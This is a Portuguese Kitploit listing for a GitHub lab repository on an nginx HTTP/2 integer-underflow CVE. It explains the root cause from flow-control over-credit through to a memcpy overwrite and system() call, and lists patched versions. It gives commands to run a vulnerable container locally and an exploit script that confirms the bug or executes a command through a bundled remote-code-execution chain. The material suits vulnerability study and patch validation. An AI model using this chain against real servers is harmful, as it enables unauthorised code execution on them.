Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/akarkode/nginx-http2-cve-2026-123007-lab
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubakarkode/nginx-http2-cve-2026-123007-lab

nginx-http2-cve-2026-123007-lab

Laboratório local para CVE-2026-123007 (underflow de inteiro no HTTP/2 do nginx): contêiner Docker vulnerável + prova de conceito

Ver Repositório
21há 1 diaAinda não revisado
Compartilhar

nginx HTTP/2 Integer Underflow (CVE-2026-123007) — Laboratório Local

Capa

Apenas para uso educacional. Este repositório é um laboratório local e autocontido para aprender como o bug funciona. Não o execute contra sistemas que você não possui ou para os quais não tem permissão escrita de teste.

Um bug crítico de controle de fluxo no nginx HTTP/2 pode permitir que um cliente não autenticado corrompa a memória do worker e, sob condições específicas, execute código. Este laboratório executa a imagem real do nginx vulnerável e inclui um pequeno PoC que comprova a causa raiz na sua máquina.

O relatório completo — como o erro de contabilização funciona, por que ele precisa de 128 GB de tráfego e o que a correção alterou — está em article.md.

Visão geral

ItemDetalhe
CVECVE-2026-123007
TipoInteger underflow (CWE-191)
CVSS v49.2 Crítico (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
ComponenteControle de fluxo de resposta HTTP/2 do nginx
ImpactoDivulgação de memória, crash do worker, execução de código como o worker do nginx
Vetor de ataqueRemoto, não autenticado, uma única conexão HTTP/2
Divulgado18 de novembro de 2026 (Rapid7 / F5)
CréditoStephen Fewer, Rapid7

Por que é vulnerável

O controle de fluxo HTTP/2 dá ao cliente o controle sobre quanto dado de resposta o nginx pode enviar. O nginx rastreia dois contadores: um para cada stream e um para a conexão (h2c->send_window, um size_t sem sinal).

  1. Quando um frame DATA de resposta é enfileirado, o nginx subtrai seu comprimento de ambos os contadores.
  2. Se o stream for reiniciado antes de esse frame ser realmente enviado, a limpeza devolve os bytes reservados ao contador da conexão — sem verificar o máximo do protocolo de 2^31-1.
  3. Uma alteração de SETTINGS_INITIAL_WINDOW_SIZE pode fechar streams com crédito excessivo enquanto mantém a conexão viva, de modo que a janela da conexão acaba acima de 2^31-1.
  4. A próxima verificação de limites de WINDOW_UPDATE calcula MAX - h2c->send_window. Como o contador está acima de MAX, a subtração sem sinal sofre underflow para um valor enorme, então a verificação passa e o cliente pode empurrar a janela em direção a 2^64.
  5. Mais tarde, esse valor é convertido em um comprimento de resposta off_t com sinal. Ele se torna negativo, o nginx cria um buffer de saída invertido (last < pos), e o caminho de saída TLS passa o comprimento negativo para memcpy como um size_t enorme. O resultado é uma leitura/escrita fora dos limites: primeiro divulgação de dados, depois uma sobrescrita controlada de um callback de limpeza do pool de requisições que pode executar system() no worker.

Enviar uma requisição corrompida não é suficiente por si só. A exploração prática exige acesso direto a TCP/TLS (para que o backpressure funcione), um heap de worker novo, aproximadamente 119 GiB de tráfego em texto claro e uma build glibc x86-64 cujo memcpy selecionado em tempo de execução use o caminho EVEX/YMM (avx512f + avx512vl).

Status da correção

Versões corrigidas estão disponíveis:

ProdutoVulnerávelCorrigido
nginx Open Source1.31.0 – 1.31.81.31.9
nginx Open Source1.9.5 – 1.30.61.30.7
NGINX Plus37.1.0 – 37.2.0.137.3.0.1
NGINX Plus37.0.0 – 37.0.7.137.0.8.1
NGINX PlusR34 – R36Sem correção

Cronologia: a Rapid7 contatou a F5 em 11 de novembro de 2026; a F5 confirmou o problema e atribuiu o CVE; a divulgação coordenada ocorreu em 18 de novembro de 2026. Se você executa o nginx com http2 on, atualize. Desabilitar o HTTP/2 remove a superfície de ataque até que você possa aplicar o patch.

Estrutura do repositório

.
├── docker/
│   ├── Dockerfile          # pinned vulnerable image, nginx 1.31.8
│   ├── docker-compose.yml  # publishes 127.0.0.1:19443
│   ├── entrypoint.sh       # creates a self-signed certificate
│   └── nginx.conf          # TLS + http2 on
├── engine/                 # published RCE chain (Rapid7 PoC, credited below)
│   ├── nginx_rce/          # protocol, heap layout, reclaim, dispatch
│   ├── profiles/           # calibrated nginx 1.31.8 target profile
│   ├── streamer.c          # native bulk-traffic helper
│   └── requirements.txt
├── exploit.py              # entry point: check, crash, or run a command
├── assets/
│   └── underflow.gif       # animated diagram for section 4
├── article.md              # full write-up of the bug and the lab
├── cover.png               # article cover
├── cover.svg               # vector source for the cover
└── README.md

Requisitos

  • Linux x86-64 com Docker e Docker Compose
  • Python 3.10+ e cryptography para execução de comandos: pip install -r engine/requirements.txt
  • Um compilador C e cabeçalhos OpenSSL (gcc, libssl-dev) para compilar engine/streamer
  • Um curl com suporte a HTTP/2 (opcional, para verificações manuais)

Uso

Inicie o servidor vulnerável:

cd docker
docker compose up -d --build

Verifique se está servindo a página padrão de 896 bytes via HTTP/2:

curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
  https://127.0.0.1:19443/index.html

Expected:

2 200 896

Execute a verificação rápida:

cd ..
python3 exploit.py --target https://127.0.0.1:19443/

Expected output:

[*] target      : https://127.0.0.1:19443/
[*] server      : nginx/1.31.8
[*] index.html  : 896 bytes
[*] tls         : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit  : stream cleanup restored credit above 2^31-1
[+] underflow    : next WINDOW_UPDATE passed the unsigned guard
[+] status       : CVE-2026-123007 confirmed

Isso leva cerca de 45 segundos e envia apenas alguns megabytes. É seguro repetir; reinicie o contêiner entre as tentativas se quiser um worker novo:

docker restart cve-2026-123007

O que o PoC comprova

  • O alvo negocia HTTP/2 sobre TLS 1.3.
  • Após esgotar a janela de conexão de 65.535 bytes, o PoC enfileira DATA de resposta e fecha os streams proprietários com uma alteração de SETTINGS.
  • O nginx reinicia exatamente os dois streams com crédito excessivo com FLOW_CONTROL_ERROR (RST_STREAM) em vez de encerrar a conexão, e a limpeza devolve os bytes reservados deles, deixando a janela de conexão acima de 2^31-1.
  • O próximo WINDOW_UPDATE é aceito mesmo assim, e um PING enviado depois é reconhecido. Esse é o underflow: a proteção MAX - send_window sofreu wraparound.

Um nginx corrigido falha nessa verificação, porque o invariante da janela de conexão é restaurado antes de os streams serem fechados. Resultados verificados:

Imagem de destinoSaída
nginx:1.31.8 (vulnerável)[+] status : CVE-2026-123007 confirmed
nginx:1.31.9 (corrigido)[-] error : over-credited streams were not reset: {}

Executar um comando (RCE)

A cadeia completa de execução de comandos está incluída em engine/. Instale seus dois pré-requisitos uma vez:

pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev

Reinicie o contêiner para que o heap do worker esteja limpo e, em seguida, passe --cmd:

docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof

Expected output:

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    336
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    322

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →